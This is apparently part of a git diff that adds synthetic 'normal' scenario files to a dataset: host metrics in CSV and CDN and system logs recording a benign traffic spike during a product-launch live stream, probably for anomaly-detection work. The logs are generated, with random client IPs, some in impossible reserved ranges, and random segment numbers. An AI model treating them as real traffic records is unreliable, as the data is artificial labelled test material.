"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:00 cdn-access: 198.51.100.17 - - [10/Jul/2025:10:06:00 +0000] "GET /live/product-launch-2025/segment186.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:10 cdn-access: 198.51.100.3 - - [10/Jul/2025:10:06:10 +0000] "GET /live/product-launch-2025/segment190.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:10 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:06:10 +0000] "GET /live/product-launch-2025/segment189.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:15 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 10 10:06:20 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:06:20 +0000] "GET /live/product-launch-2025/segment194.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:20 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:06:20 +0000] "GET /live/product-launch-2025/segment193.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:20 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:06:20 +0000] "GET /live/product-launch-2025/segment194.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:30 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:06:30 +0000] "GET /live/product-launch-2025/segment198.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:30 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:06:30 +0000] "GET /live/product-launch-2025/segment197.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:06:30 cdn-access: 198.51.100.20 - - [10/Jul/2025:10:06:30 +0000] "GET /live/product-launch-2025/segment198.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:06:30 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:06:30 +0000] "GET /live/product-launch-2025/segment197.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:40 cdn-access: 198.51.100.8 - - [10/Jul/2025:10:06:40 +0000] "GET /live/product-launch-2025/segment202.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:40 cdn-access: 198.51.100.12 - - [10/Jul/2025:10:06:40 +0000] "GET /live/product-launch-2025/segment202.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:06:50 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/segment206.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:06:50 cdn-access: 198.51.100.1 - - [10/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/segment205.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:50 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/segment205.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:50 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/segment205.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:07:00 cdn-access: 198.51.100.12 - - [10/Jul/2025:10:07:00 +0000] "GET /live/product-launch-2025/segment210.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:07:00 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:07:00 +0000] "GET /live/product-launch-2025/segment209.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:07:00 cdn-access: 198.51.100.12 - - [10/Jul/2025:10:07:00 +0000] "GET /live/product-launch-2025/segment210.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:07:00 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:07:00 +0000] "GET /live/product-launch-2025/segment209.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:07:10 cdn-access: 198.51.100.19 - - [10/Jul/2025:10:07:10 +0000] "GET /live/product-launch-2025/segment214.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:07:10 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:07:10 +0000] "GET /live/product-launch-2025/segment213.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:07:10 cdn-access: 198.51.100.8 - - [10/Jul/2025:10:07:10 +0000] "GET /live/product-launch-2025/segment214.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:07:20 cdn-access: 198.51.100.16 - - [10/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment217.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:07:20 cdn-access: 198.51.100.7 - - [10/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment217.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:07:20 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment217.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:07:20 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/segment217.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_7/norm_7_30.csv b/norm_dataset/scenario_7/norm_7_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..d71a99ba6f6e5b33ae731ea443fa140a67b7cb30 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-08-15T10:00:00Z,13.92,42.74,25.56,1.71,1.47,605 +2025-08-15T10:00:05Z,14.09,41.76,25.4,1.68,2.8,686 +2025-08-15T10:00:10Z,14.73,40.73,25.89,1.44,1.49,547 +2025-08-15T10:00:15Z,13.86,35.09,28.39,1.44,2.53,636 +2025-08-15T10:00:20Z,17.49,37.66,25.22,1.42,2.01,569 +2025-08-15T10:00:25Z,16.96,41.27,36.13,1.5,2.85,733 +2025-08-15T10:00:30Z,15.05,39.57,30.17,1.26,1.71,765 +2025-08-15T10:00:35Z,17.89,41.58,20.28,1.86,1.93,671 +2025-08-15T10:00:40Z,15.43,39.3,35.55,1.35,2.93,737 +2025-08-15T10:00:45Z,11.78,43.59,36.87,1.38,2.91,765 +2025-08-15T10:00:50Z,16.5,41.81,23.06,1.24,1.55,716 +2025-08-15T10:00:55Z,14.57,45.84,27.02,1.76,1.9,529 +2025-08-15T10:01:00Z,15.06,41.48,38.41,1.81,1.96,647 +2025-08-15T10:01:05Z,14.82,42.18,28.98,1.6,1.47,557 +2025-08-15T10:01:10Z,16.04,38.57,30.26,1.26,1.53,574 +2025-08-15T10:01:15Z,9.96,42.6,29.13,1.34,1.55,712 +2025-08-15T10:01:20Z,13.78,40.56,25.64,1.36,1.63,510 +2025-08-15T10:01:25Z,15.96,42.15,29.75,1.88,1.59,576 +2025-08-15T10:01:30Z,12.64,41.0,31.16,1.43,0.82,685 +2025-08-15T10:01:35Z,12.65,38.5,23.75,1.25,1.74,730 +2025-08-15T10:01:40Z,12.23,33.9,31.33,1.43,1.64,596 +2025-08-15T10:01:45Z,15.93,39.41,33.74,1.73,2.65,748 +2025-08-15T10:01:50Z,14.63,40.36,28.78,1.58,1.33,568 +2025-08-15T10:01:55Z,13.43,43.63,29.15,1.34,2.5,672 +2025-08-15T10:02:00Z,16.62,38.49,30.6,1.54,2.32,591 +2025-08-15T10:02:05Z,13.21,41.59,25.13,1.54,1.82,697 +2025-08-15T10:02:10Z,11.48,35.64,32.94,1.38,1.59,711 +2025-08-15T10:02:15Z,17.44,38.77,33.9,1.63,1.29,789 +2025-08-15T10:02:20Z,14.53,40.34,37.25,1.51,2.31,736 +2025-08-15T10:02:25Z,12.34,40.81,24.11,1.18,2.17,521 +2025-08-15T10:02:30Z,72.47,42.08,24.52,8.19,573.12,54878 +2025-08-15T10:02:35Z,82.28,41.14,24.67,7.24,362.22,47805 +2025-08-15T10:02:40Z,73.09,41.23,35.67,5.55,399.58,46136 +2025-08-15T10:02:45Z,71.65,41.86,23.83,5.75,392.28,54999 +2025-08-15T10:02:50Z,68.14,39.03,32.43,5.57,360.95,53440 +2025-08-15T10:02:55Z,82.6,39.15,35.25,9.43,382.87,48367 +2025-08-15T10:03:00Z,82.78,39.32,28.39,7.24,361.81,51685 +2025-08-15T10:03:05Z,65.73,36.67,32.58,6.51,311.12,51367 +2025-08-15T10:03:10Z,89.29,43.45,32.45,5.5,373.59,50567 +2025-08-15T10:03:15Z,70.56,41.56,35.11,7.72,335.06,51933 +2025-08-15T10:03:20Z,81.25,42.92,27.96,5.58,348.52,47384 +2025-08-15T10:03:25Z,60.25,40.71,32.67,6.29,371.43,52867 +2025-08-15T10:03:30Z,65.48,45.72,31.29,7.53,377.38,53561 +2025-08-15T10:03:35Z,72.51,39.0,21.12,6.28,346.63,48902 +2025-08-15T10:03:40Z,76.42,35.64,30.2,6.61,344.48,53577 +2025-08-15T10:03:45Z,74.6,40.2,26.56,4.59,308.11,53049 +2025-08-15T10:03:50Z,72.85,45.16,25.56,4.57,360.22,52605 +2025-08-15T10:03:55Z,68.82,37.69,25.91,7.7,362.28,52216 +2025-08-15T10:04:00Z,68.2,37.75,24.37,6.67,349.78,52582 +2025-08-15T10:04:05Z,75.01,37.87,25.35,6.75,360.57,47105 +2025-08-15T10:04:10Z,79.88,39.79,39.14,8.34,338.83,48631 +2025-08-15T10:04:15Z,74.42,44.25,22.83,4.4,338.29,49914 +2025-08-15T10:04:20Z,76.63,31.87,33.06,6.91,351.92,52480 +2025-08-15T10:04:25Z,67.08,42.9,42.43,4.97,366.1,51533 +2025-08-15T10:04:30Z,79.37,38.58,19.86,6.85,334.26,47726 +2025-08-15T10:04:35Z,69.18,39.94,35.23,6.71,334.11,54159 +2025-08-15T10:04:40Z,75.45,44.27,38.8,6.28,369.07,47809 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+2025-08-15T10:06:10Z,72.44,36.48,27.69,5.54,342.03,49372 +2025-08-15T10:06:15Z,72.07,42.83,29.12,6.31,356.4,48187 +2025-08-15T10:06:20Z,83.35,42.57,23.65,8.21,358.63,46249 +2025-08-15T10:06:25Z,75.61,38.34,28.85,5.67,379.1,54953 +2025-08-15T10:06:30Z,71.97,42.16,27.71,5.3,356.46,45052 +2025-08-15T10:06:35Z,74.17,36.74,30.59,6.07,358.39,49389 +2025-08-15T10:06:40Z,74.48,38.71,25.81,5.5,352.67,54494 +2025-08-15T10:06:45Z,70.44,43.03,32.31,5.0,361.56,54362 +2025-08-15T10:06:50Z,78.79,39.26,30.61,6.21,338.37,54457 +2025-08-15T10:06:55Z,72.08,44.16,30.35,7.56,346.29,46464 +2025-08-15T10:07:00Z,62.46,38.86,20.53,7.7,344.32,51051 +2025-08-15T10:07:05Z,78.83,43.34,32.22,6.64,313.78,47444 +2025-08-15T10:07:10Z,65.28,39.32,38.14,4.57,337.43,46791 +2025-08-15T10:07:15Z,70.75,41.04,23.72,6.55,355.86,52006 +2025-08-15T10:07:20Z,78.41,32.4,33.35,5.69,345.0,54801 +2025-08-15T10:07:25Z,65.05,41.05,31.41,5.97,356.18,46929 diff --git a/norm_dataset/scenario_7/norm_7_30.log b/norm_dataset/scenario_7/norm_7_30.log new file mode 100644 index 0000000000000000000000000000000000000000..0cdfb9a3d0f5952d84acf5905d35a42ab7347bf1 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_30.log @@ -0,0 +1,600 @@ +Aug 15 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:05 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:00:25 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:00:30 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:01:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:25 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:05 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:02:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 15 10:02:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:30 cdn-edge[5678]: INFO: Live stream 'product-launch-2025' has started. +Aug 15 10:02:30 web-app[1234]: INFO: Viewer count surging. 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/live/product-launch-2025/segment741.ts status=206 OK +Aug 15 10:03:50 cdn-access: 95.123.81.243 - GET /live/product-launch-2025/segment527.ts status=200 OK +Aug 15 10:03:55 cdn-access: 131.198.206.172 - GET /live/product-launch-2025/segment311.ts status=206 OK +Aug 15 10:03:55 cdn-access: 1.80.171.190 - GET /live/product-launch-2025/segment396.ts status=206 OK +Aug 15 10:03:55 cdn-access: 238.230.21.147 - GET /live/product-launch-2025/segment787.ts status=206 OK +Aug 15 10:03:55 cdn-access: 250.50.143.97 - GET /live/product-launch-2025/segment212.ts status=206 OK +Aug 15 10:03:55 cdn-access: 154.91.214.115 - GET /live/product-launch-2025/segment914.ts status=206 OK +Aug 15 10:03:55 cdn-access: 135.11.50.80 - GET /live/product-launch-2025/segment686.ts status=206 OK +Aug 15 10:03:55 cdn-access: 121.3.142.166 - GET /live/product-launch-2025/segment531.ts status=206 OK +Aug 15 10:03:55 cdn-access: 71.130.50.213 - GET /live/product-launch-2025/segment869.ts status=206 OK +Aug 15 10:03:55 cdn-access: 177.139.32.79 - GET /live/product-launch-2025/segment719.ts status=206 OK +Aug 15 10:03:55 cdn-access: 148.100.202.235 - GET /live/product-launch-2025/segment637.ts status=206 OK +Aug 15 10:03:55 cdn-access: 155.216.119.78 - GET /live/product-launch-2025/segment639.ts status=206 OK +Aug 15 10:03:55 cdn-access: 19.126.14.8 - GET /live/product-launch-2025/segment664.ts status=206 OK +Aug 15 10:03:55 cdn-access: 96.233.167.234 - GET /live/product-launch-2025/segment756.ts status=206 OK +Aug 15 10:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:04:00 cdn-access: 199.116.47.63 - GET /live/product-launch-2025/segment469.ts status=206 OK +Aug 15 10:04:00 cdn-access: 10.162.213.61 - GET /live/product-launch-2025/segment873.ts status=206 OK +Aug 15 10:04:00 cdn-access: 196.166.6.26 - GET /live/product-launch-2025/segment878.ts status=206 OK +Aug 15 10:04:00 cdn-access: 61.130.243.185 - GET /live/product-launch-2025/segment500.ts status=206 OK +Aug 15 10:04:00 cdn-access: 171.83.78.23 - GET /live/product-launch-2025/segment251.ts status=206 OK +Aug 15 10:04:00 cdn-access: 118.216.33.155 - GET /live/product-launch-2025/segment802.ts status=206 OK +Aug 15 10:04:00 cdn-access: 30.157.244.134 - GET /live/product-launch-2025/segment535.ts status=206 OK +Aug 15 10:04:00 cdn-access: 203.201.63.228 - GET /live/product-launch-2025/segment155.ts status=206 OK +Aug 15 10:04:00 cdn-access: 253.181.198.28 - GET /live/product-launch-2025/segment992.ts status=200 OK +Aug 15 10:04:05 cdn-access: 184.203.164.118 - GET /live/product-launch-2025/segment510.ts status=200 OK +Aug 15 10:04:05 cdn-access: 178.28.101.123 - GET /live/product-launch-2025/segment691.ts status=206 OK +Aug 15 10:04:05 cdn-access: 145.146.92.158 - GET /live/product-launch-2025/segment609.ts status=206 OK +Aug 15 10:04:05 cdn-access: 123.139.65.12 - GET /live/product-launch-2025/segment522.ts status=200 OK +Aug 15 10:04:05 cdn-access: 36.109.87.120 - GET /live/product-launch-2025/segment359.ts status=206 OK +Aug 15 10:04:05 cdn-access: 140.110.145.127 - GET /live/product-launch-2025/segment775.ts status=206 OK +Aug 15 10:04:10 cdn-access: 95.232.52.74 - GET /live/product-launch-2025/segment473.ts status=206 OK +Aug 15 10:04:10 cdn-access: 142.196.122.174 - GET /live/product-launch-2025/segment363.ts status=206 OK +Aug 15 10:04:10 cdn-access: 15.90.194.29 - GET /live/product-launch-2025/segment880.ts status=200 OK +Aug 15 10:04:10 cdn-access: 76.27.246.178 - GET /live/product-launch-2025/segment871.ts status=206 OK +Aug 15 10:04:10 cdn-access: 70.121.129.14 - GET /live/product-launch-2025/segment667.ts status=206 OK +Aug 15 10:04:10 cdn-access: 161.84.25.165 - GET /live/product-launch-2025/segment375.ts status=200 OK +Aug 15 10:04:10 cdn-access: 109.174.167.124 - GET /live/product-launch-2025/segment563.ts status=200 OK +Aug 15 10:04:10 cdn-access: 122.116.239.178 - GET /live/product-launch-2025/segment981.ts status=206 OK +Aug 15 10:04:10 cdn-access: 14.204.136.100 - GET /live/product-launch-2025/segment428.ts status=206 OK +Aug 15 10:04:10 cdn-access: 77.74.198.36 - GET /live/product-launch-2025/segment908.ts status=206 OK +Aug 15 10:04:10 cdn-access: 38.184.202.53 - GET /live/product-launch-2025/segment604.ts status=200 OK +Aug 15 10:04:10 cdn-access: 102.126.195.47 - GET /live/product-launch-2025/segment230.ts status=200 OK +Aug 15 10:04:10 cdn-access: 128.108.99.187 - GET /live/product-launch-2025/segment188.ts status=206 OK +Aug 15 10:04:15 cdn-access: 65.133.211.48 - GET /live/product-launch-2025/segment990.ts status=206 OK +Aug 15 10:04:15 cdn-access: 242.30.94.211 - GET /live/product-launch-2025/segment680.ts status=200 OK +Aug 15 10:04:15 cdn-access: 159.180.17.151 - GET /live/product-launch-2025/segment676.ts status=206 OK +Aug 15 10:04:15 cdn-access: 46.18.174.118 - GET /live/product-launch-2025/segment133.ts status=206 OK +Aug 15 10:04:15 cdn-access: 146.217.39.254 - GET /live/product-launch-2025/segment336.ts status=200 OK +Aug 15 10:04:20 cdn-access: 142.243.205.97 - GET /live/product-launch-2025/segment259.ts status=206 OK +Aug 15 10:04:20 cdn-access: 129.66.111.211 - GET /live/product-launch-2025/segment844.ts status=206 OK +Aug 15 10:04:20 cdn-access: 234.188.90.245 - GET /live/product-launch-2025/segment623.ts status=206 OK +Aug 15 10:04:20 cdn-access: 150.202.142.60 - GET /live/product-launch-2025/segment500.ts status=200 OK +Aug 15 10:04:20 cdn-access: 112.15.221.174 - GET /live/product-launch-2025/segment510.ts status=200 OK +Aug 15 10:04:25 cdn-access: 217.199.251.90 - GET /live/product-launch-2025/segment377.ts status=200 OK +Aug 15 10:04:25 cdn-access: 162.34.240.53 - GET /live/product-launch-2025/segment987.ts status=206 OK +Aug 15 10:04:25 cdn-access: 23.198.165.23 - GET /live/product-launch-2025/segment477.ts status=206 OK +Aug 15 10:04:25 cdn-access: 83.180.23.93 - GET /live/product-launch-2025/segment172.ts status=206 OK +Aug 15 10:04:25 cdn-access: 250.244.14.31 - GET /live/product-launch-2025/segment744.ts status=206 OK +Aug 15 10:04:25 cdn-access: 229.99.60.183 - GET /live/product-launch-2025/segment998.ts status=200 OK +Aug 15 10:04:25 cdn-access: 112.1.62.164 - GET /live/product-launch-2025/segment296.ts status=206 OK +Aug 15 10:04:25 cdn-access: 162.189.112.132 - GET /live/product-launch-2025/segment390.ts status=206 OK +Aug 15 10:04:25 cdn-access: 112.237.167.68 - GET /live/product-launch-2025/segment698.ts status=200 OK +Aug 15 10:04:30 cdn-access: 105.82.185.154 - GET /live/product-launch-2025/segment359.ts status=200 OK +Aug 15 10:04:30 cdn-access: 197.182.83.102 - GET /live/product-launch-2025/segment970.ts status=206 OK +Aug 15 10:04:30 cdn-access: 222.5.253.71 - GET /live/product-launch-2025/segment394.ts status=200 OK +Aug 15 10:04:30 cdn-access: 220.167.10.235 - GET /live/product-launch-2025/segment651.ts status=206 OK +Aug 15 10:04:30 cdn-access: 135.29.169.161 - GET /live/product-launch-2025/segment120.ts status=206 OK +Aug 15 10:04:30 cdn-access: 188.200.85.22 - GET /live/product-launch-2025/segment799.ts status=200 OK +Aug 15 10:04:30 cdn-access: 154.236.206.147 - GET /live/product-launch-2025/segment709.ts status=206 OK +Aug 15 10:04:30 cdn-access: 80.92.177.156 - GET /live/product-launch-2025/segment160.ts status=206 OK +Aug 15 10:04:30 cdn-access: 36.138.51.52 - GET /live/product-launch-2025/segment368.ts status=200 OK +Aug 15 10:04:30 cdn-access: 192.26.147.142 - GET /live/product-launch-2025/segment212.ts status=206 OK +Aug 15 10:04:30 cdn-access: 52.249.90.25 - GET /live/product-launch-2025/segment883.ts status=200 OK +Aug 15 10:04:30 cdn-access: 147.163.222.236 - GET /live/product-launch-2025/segment559.ts status=206 OK +Aug 15 10:04:30 cdn-access: 173.236.144.98 - GET /live/product-launch-2025/segment746.ts status=206 OK +Aug 15 10:04:35 cdn-access: 159.95.153.127 - GET /live/product-launch-2025/segment554.ts status=206 OK +Aug 15 10:04:35 cdn-access: 105.174.244.189 - GET /live/product-launch-2025/segment663.ts status=200 OK +Aug 15 10:04:35 cdn-access: 73.249.197.180 - GET /live/product-launch-2025/segment496.ts status=206 OK +Aug 15 10:04:35 cdn-access: 42.206.66.66 - GET /live/product-launch-2025/segment308.ts status=206 OK +Aug 15 10:04:35 cdn-access: 25.53.213.249 - GET /live/product-launch-2025/segment786.ts status=206 OK +Aug 15 10:04:35 cdn-access: 182.56.9.244 - GET /live/product-launch-2025/segment538.ts status=206 OK +Aug 15 10:04:35 cdn-access: 64.152.138.146 - GET /live/product-launch-2025/segment396.ts status=206 OK +Aug 15 10:04:35 cdn-access: 238.199.235.248 - GET /live/product-launch-2025/segment976.ts status=206 OK +Aug 15 10:04:35 cdn-access: 245.116.54.190 - GET /live/product-launch-2025/segment791.ts status=206 OK +Aug 15 10:04:35 cdn-access: 202.134.57.32 - GET /live/product-launch-2025/segment561.ts status=200 OK +Aug 15 10:04:35 cdn-access: 236.76.72.248 - GET /live/product-launch-2025/segment830.ts status=200 OK +Aug 15 10:04:35 cdn-access: 103.3.99.37 - GET /live/product-launch-2025/segment519.ts status=206 OK +Aug 15 10:04:40 cdn-access: 223.165.26.201 - GET /live/product-launch-2025/segment106.ts status=206 OK +Aug 15 10:04:40 cdn-access: 180.57.229.230 - GET /live/product-launch-2025/segment832.ts status=200 OK +Aug 15 10:04:40 cdn-access: 158.196.78.217 - GET /live/product-launch-2025/segment674.ts status=206 OK +Aug 15 10:04:40 cdn-access: 164.240.66.57 - GET /live/product-launch-2025/segment837.ts status=200 OK +Aug 15 10:04:40 cdn-access: 75.100.216.230 - GET /live/product-launch-2025/segment977.ts status=200 OK +Aug 15 10:04:45 cdn-access: 53.44.166.204 - GET /live/product-launch-2025/segment143.ts status=206 OK +Aug 15 10:04:45 cdn-access: 173.97.204.68 - GET /live/product-launch-2025/segment699.ts status=206 OK +Aug 15 10:04:45 cdn-access: 154.54.31.133 - GET /live/product-launch-2025/segment769.ts status=206 OK +Aug 15 10:04:45 cdn-access: 36.94.95.39 - GET /live/product-launch-2025/segment591.ts status=206 OK +Aug 15 10:04:45 cdn-access: 232.213.16.168 - GET /live/product-launch-2025/segment966.ts status=206 OK +Aug 15 10:04:45 cdn-access: 81.175.236.159 - GET /live/product-launch-2025/segment167.ts status=206 OK +Aug 15 10:04:45 cdn-access: 4.41.94.7 - GET /live/product-launch-2025/segment120.ts status=206 OK +Aug 15 10:04:45 cdn-access: 2.174.201.242 - GET /live/product-launch-2025/segment586.ts status=206 OK +Aug 15 10:04:45 cdn-access: 104.82.63.82 - GET /live/product-launch-2025/segment675.ts status=206 OK +Aug 15 10:04:45 cdn-access: 202.223.124.31 - GET /live/product-launch-2025/segment850.ts status=200 OK +Aug 15 10:04:45 cdn-access: 242.61.3.72 - GET /live/product-launch-2025/segment196.ts status=206 OK +Aug 15 10:04:45 cdn-access: 157.45.178.101 - GET /live/product-launch-2025/segment258.ts status=206 OK +Aug 15 10:04:45 cdn-access: 222.245.90.103 - GET /live/product-launch-2025/segment286.ts status=206 OK +Aug 15 10:04:45 cdn-access: 173.168.247.138 - GET /live/product-launch-2025/segment896.ts status=206 OK +Aug 15 10:04:50 cdn-access: 133.210.143.171 - GET /live/product-launch-2025/segment663.ts status=206 OK +Aug 15 10:04:50 cdn-access: 40.27.153.221 - GET /live/product-launch-2025/segment948.ts status=200 OK +Aug 15 10:04:50 cdn-access: 95.91.165.62 - GET /live/product-launch-2025/segment211.ts status=206 OK +Aug 15 10:04:50 cdn-access: 94.61.147.156 - GET /live/product-launch-2025/segment702.ts status=206 OK +Aug 15 10:04:50 cdn-access: 221.62.82.43 - GET /live/product-launch-2025/segment260.ts status=206 OK +Aug 15 10:04:50 cdn-access: 239.188.163.67 - GET /live/product-launch-2025/segment173.ts status=206 OK +Aug 15 10:04:50 cdn-access: 31.106.6.207 - GET /live/product-launch-2025/segment872.ts status=200 OK +Aug 15 10:04:50 cdn-access: 1.9.228.143 - GET /live/product-launch-2025/segment400.ts status=200 OK +Aug 15 10:04:55 cdn-access: 239.184.182.54 - GET /live/product-launch-2025/segment579.ts status=200 OK +Aug 15 10:04:55 cdn-access: 83.5.133.66 - GET /live/product-launch-2025/segment488.ts status=206 OK +Aug 15 10:04:55 cdn-access: 228.168.10.51 - GET /live/product-launch-2025/segment867.ts status=206 OK +Aug 15 10:04:55 cdn-access: 140.46.115.171 - GET /live/product-launch-2025/segment716.ts status=200 OK +Aug 15 10:04:55 cdn-access: 106.70.94.132 - GET /live/product-launch-2025/segment371.ts status=206 OK +Aug 15 10:04:55 cdn-access: 129.244.193.200 - GET /live/product-launch-2025/segment430.ts status=206 OK +Aug 15 10:04:55 cdn-access: 92.115.30.134 - GET /live/product-launch-2025/segment817.ts status=206 OK +Aug 15 10:04:55 cdn-access: 113.107.134.82 - GET /live/product-launch-2025/segment428.ts status=206 OK +Aug 15 10:04:55 cdn-access: 231.136.136.240 - GET /live/product-launch-2025/segment942.ts status=200 OK +Aug 15 10:04:55 cdn-access: 68.100.84.183 - GET /live/product-launch-2025/segment939.ts status=206 OK +Aug 15 10:05:00 cdn-access: 174.240.244.75 - GET /live/product-launch-2025/segment362.ts 